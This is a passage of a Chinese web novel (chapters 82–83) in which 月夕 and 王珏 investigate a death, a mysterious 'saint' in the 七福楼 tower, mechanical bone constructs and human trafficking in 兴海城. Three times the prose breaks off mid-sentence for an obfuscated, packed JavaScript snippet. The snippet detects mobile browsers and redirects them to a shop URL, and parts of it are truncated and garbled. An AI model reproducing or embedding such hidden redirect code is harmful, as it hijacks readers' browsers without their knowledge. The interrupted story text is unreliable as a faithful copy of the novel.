月夕诧异地看了他一眼,最终无奈地摇了摇头,“竟不知郎君还是个无赖。” 王珏哼了一声,“有件事月娘兴许不知,本郎君除了无赖,还记仇。” 月夕顿时明白过来,原来他此刻牵的那只手正是白日里亓官彧牵过的。她再一次无奈地摇了摇头,在心里暗暗说了句幼稚。 兴海城的夜市很是热闹,只半个时辰,两人竟还一条街都没逛完,眼见着天色已晚,明日还有要事,两人随便买了些东西便打道回了客栈。 月夕刚推开房门,在门口顿了顿,转身问道:“郎君可要进去喝杯茶?” 王珏抿唇一笑,“荣幸之至。” 客栈油灯里的油是用海棕油做的,无烟耐燃,火光是白色的,很是亮堂。 屋子里有四个人,月夕与王珏在桌几对面而坐,从窗而入的竹心与飞燕则是笔挺挺地站在一旁,神情很是肃然。 “郎君果然猜的不错,自马车进城后,咱们就被盯上了。”竹心道,“拦咱们马车的那些人,大部分都会武。” 王珏微微颔首,再问:“都护府如何?” 飞燕道:“都护府今夜也不大太平。” 兴海城都护郝良十年前来此驻守,娶了兴海城前城主堂妹夹谷越泽为妻,两人育有一女,因着夹谷越泽身子不大好,得女之后便无法再孕,是以都护与夹谷越泽都很宠爱这唯一的女儿。 半个月前,这位郝娘子突然说要嫁给一个叫任奎的商人为妻,郝良与夹谷氏爱女,自是不会反对,只是这个叫任奎的商人家中早已有了妻室,郝良与夹谷氏又不愿爱女做妾,便就闹了起来。 几人都以为结束了,飞燕顿了顿,继续道:“原本郝都护已经将郝娘子劝下,也不知郝娘子从何处得知任奎之妻有病无法生育,她便直接去寻了那位夫人,以无子嗣为由,期望二人和离。谁想第二日,那位夫人在家中上了吊,死了。夹谷氏原本想借着城主与郝都护的威势将其压下,只是那位夫人姓刘。” 一旁的竹心不解道,“姓刘怎么了?” 王珏道:“兴海城归于下唐之后,为了尽快恢复商贸,城主与朝廷签订了修港协定,协定成后,便有大批商户来此盘踞,刘家便是其中最大的一家。可以说若是没有刘家,兴海城的商贸也不会如此繁荣。” “而且,”飞燕补充道:“听闻这七福楼便是刘家出资建造的。” 竹心想了想,又问:“不是说与城主家联姻的是都督府吗?” 飞燕道,“现任都督吴荣的女儿是城主正妻,其子吴晖之妻是夹谷家族嫡长女。而郝都护之妻夹谷氏,只是前城主堂妹,在夹谷家族中,只是个不起眼的庶出。” 月夕很是不适地蹙了蹙眉,“下唐女子从未有过嫡庶之分,怎地此处竟如此盛行?” “从前的兴海极重此道,归唐后才渐渐有所收敛。”王珏道,“那刘氏可是刘家嫡出?” 飞燕点头,“是。” 竹心神色一凝,“那刘家怕是要寻麻烦了。” 飞燕又点头,“是,刘家人堵了郝都护三回,无果后今夜索性直接住进了都护府。” 王珏抿唇一笑,“不知月娘有何高见?” 月夕似是在认真思考着,闻言摇头,啧了一声,“真巧。” “是啊,这一切可真是太巧了些。”王珏又问飞燕,“吴府如何?” “听闻吴都督闭门养病,不问世事多年。” “他倒是会躲清闲。”王珏微微一笑,“明日寻人查一查兴海城的水源。” 飞燕颔首,“是。” “隔壁的人呢?”这话是问竹心的。 竹心道,“纳兰医生许是休息了,亓官郎君进屋后就不见了,也不知去了哪里。” “月娘觉着他会去哪儿?” 月夕看了眼窗外隐匿在夜色中的七福楼轮廓,也只微微抿唇,“副都护似乎很期待亓官郎君做些什么。” “潜之。”王珏纠正她,“唤我潜之。” 月夕本就不是什么扭捏的人,可是不知为何,在得知面前此人是她的故人,而她却对此一丝映像也无时,她总觉着直接称呼他的字有些别扭又有些尴尬。 然而转念一想,方才在街上自己都已经被他称为夫人了,她若再不做些什么,可就真要被占便宜了。 跟了顾宗这么久,她除了学到一身验尸的手艺也学会了一些做人的道理,譬如,什么都可以吃,但亏绝对不行。 于是乎,她朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367223|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王珏微微一笑,故意将那两个字喊得清晰又婉转,“若是我没看错,潜之似是不大喜欢这亓官郎君。” 一抹浅浅又得意的笑容渐渐爬上了王珏的嘴角,他不可置否,“我的确不喜他,只是此行若是无他,兴许怕是不行。” 月夕眸光一凝,“你是怀疑……” 王珏笑而不语,但看样子,似是同意了她的猜测。 “深更半夜,孤男寡女共处一室,这便是你们下唐人所谓的礼?” 正此时,窗柩上突然坐了一个人,此人来无影去无踪,就连站在不远处的竹心都没察觉到。 下一刻,竹心拔出手中长剑,正要刺过去,却见那人已经闪身移位到了王珏身边,十分不客气地从王珏身上摸出方才在街上包回来的饼,一屁股坐在地上啃食了起来。 “快给我倒杯水。”亓官彧边吃着饼边朝王珏道。 竹心正要反驳几句,却被王珏抬手止住。无奈之下,他只好转身从茶几上拿了一壶茶,给他倒了一杯,并递了过去。 谁想亓官彧并不领情,绕过竹心递过来的杯盏,自己夺下茶壶,咕咚咕咚地对着壶嘴喝了起来,大约是有些用力过猛,竟是喝得衣襟尽湿。 等到吃饱喝足,他才将茶壶往桌几上一放,顺势在月夕身边坐了下来。 “你怎么还不走?”他一手搭在桌几上斜斜地支着脑袋看着王珏,看上去慵懒得像是一头吃饱喝足的狮子。 王珏抿唇一笑,“亓官郎君都没走,我又岂敢走。” “怎么?你是怕我把小月娘带走?” “怕,也不怕。”王珏道,“我是月娘的未婚夫,呆在这里名正言顺,亓官郎君又是以什么身份呢?不请自入的霄小?” 月夕不止一次领教过王珏怼人的本事,甚至还从中学了一些,但像眼前这般如此面不改色地怼人,她却是头一回见。 这感觉倒是蛮新奇的。 然而还没新奇完,却听亓官彧的声音在她耳边响起,“小月娘,你也看见了,此人如此败絮其中,根本不值得托付终身,还不如跟我走。” 他道,“我扶绥男女一向嫁娶只随本心,根本没有什么劳什子父母之命媒妁之言,自由地很!只要你想,我便带你走。” “扶绥草原以武力为尊,男女嫁娶只随本心不假,却是要建立在武力之上。”王珏冷笑一声:“怪不得扶绥有那么多子娶母,姑嫁侄。” “说实在的。”亓官彧眯了眯眼,“若是我此刻没伤,真想与你打上一架。” “你受伤了?”月夕终于捡到自己想听的,见缝插针问出了声。 亓官彧听得此话,立即换了一副嘴脸,委屈巴巴地又往她坐了坐,“小月娘,这一回我伤得可重了呢!” 月夕没理会他言语间的撒泼,只问:“在七福楼被伤的?” 亓官彧撇了撇嘴,又狠狠朝王珏瞪了一眼,终究叹了口气,决定破罐子破摔,“罢了,你们想知道什么?” 月夕毫不客气:“你看到了什么?” 亓官彧有些气恼,但无奈眼下自己的确有求于人,于是如实道:“七福楼总共只有六层,顶上两层做一层,乃那所谓圣女所居之地。顶层无下楼之口,楼下也无上去之路。五楼外层有一圈滑石设计,即便武艺高强者企图施展轻功上楼,也有八成的几率从楼上摔下去。” 月夕听到了重点,问:“这么说,亓官郎君是见到那个圣女了?” “嗯。”亓官彧不可置否,但神色确实一凝,“她倒是个十分特别的人。” 月夕:“特别?” 亓官彧:“是人,但好像又不是人。” 月夕:“难道不是傀儡?” 亓官彧摇头,“不是,我敢肯定她是人,但她又好像被什么东西控制了,而且我查了她的脉络,似是……” “似是什么?” 亓官彧又摇了摇头,“不确定,就是觉得她很怪。” 月夕又问:“楼里有人把守?” 说到这,亓官彧唇角勾出一丝冷笑,“老朋友罢了,不过这一回倒是比那些黑衣人做得更精细了些。” 说着他从怀里掏出一截东西,哐当一声丢在桌几上,众人定睛一看,却见桌几上正是一截类似大臂的骨节,但骨节关节处全由零件构成。 这是最高的机关术——人体骨骼机关术! 月夕也顾不上这骨节上有多少脏东西,伸手便拿起来放在烛火旁细细看了起来。 不知道为什么,她总觉得这东西太熟悉了,熟悉到即便只是摸一遍她也知道其中关窍在哪儿。 却听几声咔咔声,手里的那节机关术骨骼瞬间变成了完整的四五节,随着零件一个一个落在桌几上,所有人都有些懵了。 就连王珏都感到十分讶异,“月娘,你竟懂拆卸之术?” 82. 夫人 月夕也不知道自己为何会懂这些,在王珏的视角里,从前的她对机关术该是十分了解的。 只是那也不过是了解而已。 月夕将所有零件在桌几上摆成一排,又从中拿了一颗小小的零件放在手心掂量了一下,“铁。” 王珏闻言,也伸手拿了一个放在手里细细观察了一番,神色愈发凝重,“不仅是铁,还是精铁。” “兴海城有铁矿?”月夕问。 “没有。”王珏摇头,补充道,“明面上没有。” 亓官彧嗤笑一声,“有意思,私开铁矿啊。不过,我怎么记得,你们下唐是允许百姓私开铁矿的呢?” “这就不用亓官郎君费心了。”王珏将那零件握在手心,继续道,“亓官郎君若是有空,可以去青光寺走走逛逛,听闻那是兴海城最大的寺庙,很是灵验。” 亓官彧的笑容忽然凝固了,只一会儿,他又向月夕告状,“小月娘,你看看,此人实在阴险,着实不可结交。” 月夕看了看他,又看了看王珏,微微一笑,“亓官郎君佳言,小女记下了。” 许是有些水土不服,天光还未亮月夕就醒了,推开窗户,冷风迎面袭来,她那原本昏沉的脑袋倏地清醒了许多。 虽这客栈与七福楼之间隔了几条街,但站在她的位置,七福楼的高楼依旧能看的十分清楚。 她看了一会儿,肚子便咕咕地叫了起来,左右这个时辰街上早餐铺子已经摆开,她打算出门逛逛,并买些饼回来吃。 谁想刚出门,便遇上了似是刚从外头回来的纳兰羿。 “纳兰医生。”月夕朝他喊了一声。 显然纳兰羿也没想到月夕已经醒了,只朝她点了点头,以示招呼,随后便自顾自地往自己屋子里走去。 月夕蹙了蹙眉,直觉他许是有事,但一想到平日里纳兰羿一直都是这么个性子,便也按捺住去探究的冲动,往外走去。 等到月夕逛了一圈回去时,王珏已然坐在了厅堂。 他面前放着一壶茶,只是任由茶香四溢,他都好似没有兴趣的样子。 见她回来,他朝她微微一笑,并招了招手。 “回来了?” 月夕点点头,并在他身旁坐下,“这是什么茶?” “青山。”他给她倒了一盏,“用晨露煮的。” 由于王珏总爱喝茶,月夕也不知不觉养成了品茶的习惯,只是一听到晨露二字,还是不由得诧异了一下。 纯茶入喉,清爽宜人。 “逛得开心吗?”王珏问。 月夕点点头,“却不知兴海城除了有夜市,竟也有早市。” 方才出门的时候,她还以为街道会像黎阳县那般的安静,没想到街上除了早已开张的早餐铺子,好些干货铺子、杂货铺子、粮油铺子等等都开张了。 怪不得兴海城的商贸比下唐任意一个城镇都要繁荣许多。 “这是吃了闭门羹?”月夕挑眉,唇角微微一勾。 王珏哼了一声,抿了口茶,“也是巧了,都督病了,都护也病了,这不,打发人送了些晨露过来聊表歉意,让我自行去副都护府呢。” 月夕抿唇一笑,“看来咱们是不受待见了。” 听到“咱们”两个字,王珏觉得心尖莫名一软,正要再给她添茶,竹心进来了。 “郎君,车已经备好,咱们何时启程?” 王珏看向月夕,“走?” 月夕颔首,正要起身,忽然想起什么,道,“纳兰医生呢?” 竹心道:“方才瞧见他出门了,说是去医馆买些药。” 月夕顿觉奇怪,“他何时出的门?” “就方才。”竹心道,“大约半刻钟前。” 月夕方才出门时大约卯正一刻,回来大约辰时初刻至一刻,中间也不过相隔了几刻钟,晨间出去时,她明明碰见纳兰羿刚回来,怎地才不过这么几刻钟,他又出去了? 王珏觉着她的情绪不大对,“怎么?” 月夕想了想,决定还是将早间看到的说了出来。 王珏恍悟,解释道,“纳兰出身医者世家的纳兰山庄,本身性子就有些傲气,在京城时为了研究一些药材,他也经常这样。” “是吗?”月夕问。 王珏点头,“也正是因此,阿兰才与他在西市相遇。” 月夕忽然感了兴趣,看着他的眸子里满是探索与好奇。 王珏边往外走边道,“那时阿兰正在西市做些药草的小买卖,正好有一味药是纳兰寻了许久的,原先他想将阿兰所有药草都买了,可又觉着她存放药草的方式实在不妥,于是两人就吵了起来。” “后来呢?”月夕问。 “后来苏朗出面调和,三人便不打不相识。”王珏将她扶上马车,“纳兰原在太医院任职,许是这古怪性情,没过多久就被太医院除名,不过我看他倒是不甚在意。” 自古才者甚少有在意这些虚名的,月夕微微一笑,继续道,“他此行也是为了找寻药材?” 王珏嗯了一声,“许是吧。” 很快马车便在副都护府门前停了下来,有一位红发的中年男子早早侯在门口,见马车行至,慌忙上前迎接,“小人图明,见过副都护。” 王珏见着他那标志性的头发,疑问:“你是嚤佗人?” “正是呢。”图明笑道,“前两年嚤佗一些城镇遭了匪,城主与都护仁慈,开了城接纳了我们,又因小人略懂些下唐语,还识得几个字,便被招了来给副都护您做管家。” 他边说着边领着众人进门,“早几日听闻副都护会来,小人日日都盼着,今日可算是将人给盼来了——这位是夫人?” 月夕正走在王珏身侧,又带着面巾,这架势在外人看来,确实像是个常处深闺不爱露脸的女眷。 她正要解释,却听王珏道,“正是。夫人初来兴海,有些水土不服。” “哎呀,那小人一会儿便去请医生。”图明连连道。 王珏颔首,“有劳。” 都护乃边城长官,掌边城军政要务,兴海城比较特殊,所有军务都归都督府管,而政务则归于都护府。 副都护是协助都护处理政务的,只是近日都护府不太平,所有政务便都归到了王珏这个副都护头上。 是以他才刚坐下,便有长史带了一车要务进了门。 这边厢王珏连口茶都没喝着就开始忙碌了,而那边的月夕也没闲着,才刚被图明带到后院,便有十几个奴仆下人等着她去安排差遣。 按照图明的意思说,他本是嚤佗人,且这里是兴海城,规矩与京城有本质不同,他怕随意安排了不合夫人与副都护的心意,是以这才等着她来安排。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369589|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >月夕无奈地蹙了蹙眉,这些本就不是她所擅长的,但看他们都如此积极,她也不好回绝,便抓耳挠腮地安排了一下午。 待到将所有人都安排完毕,月夕才喘了口气,将图明招到身边,给他倒了杯茶。 “我与你们副都护初来乍到,昨日正好遇见街上热闹非凡,听闻是圣女赐福,也不知这里头有什么讲究?” 图明受宠若惊,将杯盏小心翼翼地捧在手心,道:“小人来兴海不久,也是听闻的。传闻从前海面总不太平,人人都说那是海妖作祟,后来有一个道人说,那是海妖要娶妻,若是能将自家女儿献给海妖,海面必定平息。” 听到此处,月夕眼底闪过一丝怒意,但还是忍住了。 图明接着道,“后来兴海城百姓往海里投了一百个女儿,海面果然平息了,只是此等行为实在作孽,是以城主出面建了这么一个楼,以供奉那一百个小娘子。” “那这七福楼的圣女又是怎么回事?” “圣女是十年前的事了。”图明道,“听闻那时候海面隐约有不太平之势,百姓们还想献出自家女儿,又有一个道人出来,说是只有圣女才能镇住那海妖,于是便由大绅出面将从前那用于供奉的楼修成如今的七福楼,将圣女迎了进去,说来也神了,自从迎了圣女,海面自此就平息了。” “可知圣女从何而来?” 图明摇头,“听闻是凭空出现的。小人来兴海城也不过三年,这些事也都是道听途说,言说圣女每月初三会登楼赐福,以保兴海太平,昨日又恰好初三。” 月夕微微勾唇,“那还真是巧了。” 空气忽然安静了些,正当图明以为没他什么事准备告辞时,却听月夕道,“也不知城中有什么地方孩童出没最多?” 这话将图明问懵了,但好在做惯了管事,没多想便立马答道:“据小人所知,北城有了一些慈幼馆,收容了好些无父无母无处可去的流民孩童。” 他顿了顿,“夫人这是要?” 眼前这管家一看便是个精明的,月夕又不经常套话,他突然这么一问,她一时也不知该怎么回答。 于是乎,她脱口而出,“没什么,只是丢了个孩子。” 嚤佗人二十之后才能谈婚论嫁,是以嚤佗女子生完孩子大多二十几了,而月夕看起来年纪不大,顶多只有十七八岁,图明惊得双目瞪圆,好一会儿才缓过来。 “那……那那可是大事啊!”图明道,“也不知是小郎君还是小娘子?可有画像?小人这就下去吩咐人替夫人寻孩子!” 月夕摆了摆手,按照龙雨村那侏儒傀儡的样子给他比划了一下,“小郎大抵这么高,其他的我晚些画张画像给你。多谢了。” “夫人哪里的话!小人是府上的管事,自该要替夫人与副都护做事的!”图明说着正要下去,却又被喊住。 “敢问,如今城中可有什么道人?” 图明点头答道:“城中有一位天明道人,住在七福楼内,只有每月初三才会出楼露面,替圣女赐福,平日里百姓们是见不到他的。” 月夕问:“若是有求于他也不成?” 图明摇头,“道人是仙人,平日里即便是强行入了七福楼,也是无法见得的。” “何出此言?” 图明想了想,终究道,“想必夫人听闻近日都护府的那些事了吧?” 83. 絮娘 月夕点点头。 图明接着道,“人人都说刘氏是被郝娘子给逼死的,可郝娘子却日日喊冤,甚至要以死明志,夹谷氏在城主家虽不受宠,但好歹姓了夹谷,刘家又是兴海城第一大绅,因此一时之间双方的矛盾根本无法收场,郝都护便提议请天明道人出面调和解决。” “但由于天明道人从不出七福楼,且只有每月初三才有机会见着,夹谷氏不忍自己女儿受此冤屈,在郝都护提议的第二日便去了七福楼,没成想才在门口说了几句话,夹谷氏就被轰出来了。” 月夕蹙了蹙眉,“也不知昨日他们可曾见到天明道人?” “听闻是见着了。”图明道,“只不过,此事毕竟是闹了命案,刘氏又是刘家嫡出娘子,小人猜这事儿怕是不好解决。” “那任奎是个什么人?” 图明道:“是个商人,与夫人和咱们家都护异样,从京城来的,听闻做的是行货的买卖,卖的瓷器、茶叶、丝绸、药材、农具之类的杂货。” 正说着,有小厮跑了过来,先是朝她行了个礼,再对一旁的图明道:“图管事,人都到了。” 图明点了点头,向月夕解释道:“因着今日才得知都护有夫人相随,怕府上的小厮奴仆失礼,便又采买了几个侍婢,方才听都护说,夫人有些水土不服,这几个侍婢都懂些药理,伺候起来许会更懂事些,不知夫人可要见见?” 月夕本想拒绝,可一想到方才在安排府上奴仆时,确实没个侍婢,犹豫了一会儿后,点了点头。 不一会儿,那小厮便从外头带进来十几个侍婢,月夕抬眸扫了一眼,目光落在了其中一个侍婢身上。 图明会意,示意那侍婢上前一步,“叫什么名字?会些什么?” 侍婢瞧见月夕时也很诧异,但很快她便低下头,如实道:“回夫人的话,小女名为絮娘,之前在药房里做过些时日,略懂些药理。” 月夕嗯了一声,“那就她吧。” 絮娘诧异地顿了顿,随即噗通一声跪了下来,眼眶一下子红了,“多谢夫人,多谢夫人收留。” 图明惯会察言观色,不过半日便隐约摸出了月夕的性情,知晓她收了眼前这个叫絮娘的侍婢之后便不会再收,于是朝那小厮使了使眼色,小厮会意,将剩下的侍婢都带了下去。 “府上还有些要事,小人便不多陪夫人了。”图明又朝絮娘道,“好好伺候夫人。” 絮娘连连点头,“是。” 待到图明走后,絮娘眼眶里的泪水这才哗啦啦地往下落,连连朝月夕叩首,“多谢顾娘子救命之恩,顾娘子又救了小女一命!” 月夕见不惯旁人这般向她叩首,近前将她扶起来,“岑娘子怎会在此?” 岑絮娘哭着道,“顾娘子有所不知,莲花山庄本就容不下我,是以获救之后我便想着索性就不回去了,正好我出身莲花山庄,懂些药材与药理,便开与当日那些与我一道被困,被救后同样无处可去的小娘子一道,在黎阳县开了家小小的药材铺子。起初还算不错,可是即便被县尊治理过,黎阳县商道的水还是太浑太深了。” 她顿了顿,道,“药材铺子里都是些女子,不太方便出门进货,我们便雇了几个伙计,没成想才不过半个月,那些伙计出来进货的伙计全都不见了,伙计家属寻上了门问我们要人,我们给不出,便只好自己出来了。” “没成想,才来兴海城没几日,我们就一个个……”她哽咽了起来,“也不知她们现在何处,是我对不住她们……” 她哭了好一会儿,等到她好些了,月夕才问,“你是如何被卖的?” 岑絮娘道:“我们刚来兴海城,就寻了一家客栈,原本想着先暂住几日再做打算,没想到当天夜里,我便失去了意识。” “我是在人牙子的院子里醒来的,那院子里哪国人都有,就是没有与我一道来的那些娘子。因着在黎阳县有些经验,醒来后我一直很顺从,人牙子们对我十分满意,没过几日便让我学了规矩。一顿旁敲侧击之后我才得知,一个月后,我会与院子里的那些人一道去往海外,好在……” 她道,“好在顾娘子的人今日去买懂药理的侍婢,要不然……要不然这回我怕是真的活不成了。” “不是我的人。” 岑絮娘微微一顿,月夕以为她没听懂,补充道,“他们不是我的人。” 岑絮娘环顾了一周,恍悟地点了点头,问道:“那顾娘子怎会在此?县尊也来了吗?” “王县尊如今是兴海城副都护,我是王副都护的夫人,自然就跟来了。” 岑絮娘诧异地双目瞪圆,“顾娘子与王……副都护何时成的亲?我,我竟是不曾听闻……” “我与他自小就定下了婚约。”虽然这些月夕的记忆里暂时还没有,但眼下这种状况,认下这个身份对她来说更有力,是以,当王珏喊她夫人时,她也没有拒绝和否认。 岑絮娘恍然,“怪不得副都护看娘子的眼神与旁人不同,原来如此。” “不同?”月夕蹙眉,“有何不同?” 岑絮娘想了想,道,“副都护看旁人的时候是冷的,但是看娘子的时候,眼底却是温柔的。” “是吗?”月夕拧了拧眉,贵郎君不都是那样的吗?王珏又是出身琅琊王氏,总该也是与旁人有所不同的。 这问题实在伤脑筋,月夕只好将其放置一旁,只道:“罢了,不想了。既然你已然入副都护府,就好好待在我身边吧,我正好有些事需要你帮忙。” “娘子……不,夫人要奴婢做何事?”岑絮娘问。 “我想让你帮我去打听一下刘家。” 岑絮娘蹙眉,“可是兴海城大绅刘家?” 月夕点点头。 岑絮娘忽然想起什么,有些欲言又止。 月夕自然是看出来了,问:“可有不妥?” 岑絮娘摇头,道:“夫人,我与那些小娘子初来兴海城住的那家客栈,就是刘家的。” 兴海城内的商业布局里,大约六成的客栈、商栈、船栈都是刘家的,剩余的四成中,其中的三成是城主的,其余的才是商会的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408606|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些商会明面上是朝廷管理,散户构成,但大部分的散户都出自刘家,就连在黎阳县耀武扬威多年的莫府,其背后其实也都是刘家在支持。 “黎阳县莫府背后不是兴海城城主吗?”天色已晚,月夕边吃着岑絮娘给她做的莲子粥边问。 岑絮娘道,“莫家家主夫人是兴海城城主的庶妹,但莫家从前是刘家的家奴。大约是家奴二字说出去不好听,黎阳县距离兴海城又远,是以县城中人只知道莫家与兴海城城主之间的关系,却不知他们与刘家之间的关联。” 正说着,屋子门前忽然一暗,一个高大的身影缓缓走了进来,“短短半日便能查到这么多,夫人身边的这位岑娘子倒是有些本事。” 岑絮娘见来者,连忙起身朝他行了个礼,“奴婢见过家主。” 王珏嗯了一声,顺势在月夕身边坐了下来,“莲子粥?” 月夕颔首,“厨房里应该还有些。” “那就也给我来点吧。” 这话自然是对岑絮娘说的,岑絮娘会意,慌忙起身跑了出去。 待屋子里只剩月夕,王珏这才十分烦躁地揉了揉眼睛,无奈道,“看了一日的公务,这双眼睛怕是要废了。” “刘氏的案子,你有头绪了?”月夕舀了一勺莲子粥,往嘴里一送。 王珏揉完了眼周,又开始揉两边的太阳穴,听她所言抿唇一笑,“你怎知我会查这个案子?” “刘氏是刘家的嫡女,放眼整个兴海城,只有郝都护与吴都督有资格查此事,郝都护涉案其中,理应避嫌,若是吴都督要插手管理政务,今日身为副都护的你也不会刚来第一日就要处理那些公务了。” 月夕又给自己送了一口莲子粥,道,“此事早晚都会落在你头上,我想你应该在来的路上就已经开始调查了。” 王珏脸上笑意不减,漆黑的眸子却深邃了许多,他深深地看着她,问,“我为何要早早就开始查这个案子?” “自然是……”也不知是不是有意,月夕刚抬头便撞进了王珏看过来的目光里,不知怎的,突然想起了白日里岑絮娘对她说的那些话,一时晃神,刚说出口的话戛然而止。 王珏以为她是故意拉长的语气,挑眉柔声问,“自然是什么?” 这低沉又充满磁性的嗓音就这样温柔地钻进了她的耳朵里,惹得她的心也跟着痒痒的。 月夕猛地收回视线,低头看向手里的莲子粥,“潜之自京城而来,该是别有目的吧?我猜,目的该是兴海城。” 霎时间,屋子里一片寂静,只有轻微冷风自窗外而入的声音,王珏深吸一口气,脸上的温柔依旧。 他就知道她迟早能猜到。 “是。”王珏微微一笑,“知我者,月娘也。” 月夕将勺子放下,拿起桌几上的白叠布擦了擦嘴,郑重地点了点头道,“我也是。” 王珏诧异抬眸看向她,她道,“不知为何,我总觉着那道州民与我的失忆有关,我想找到他。” “好!”王珏道,“我们一块儿找到他。”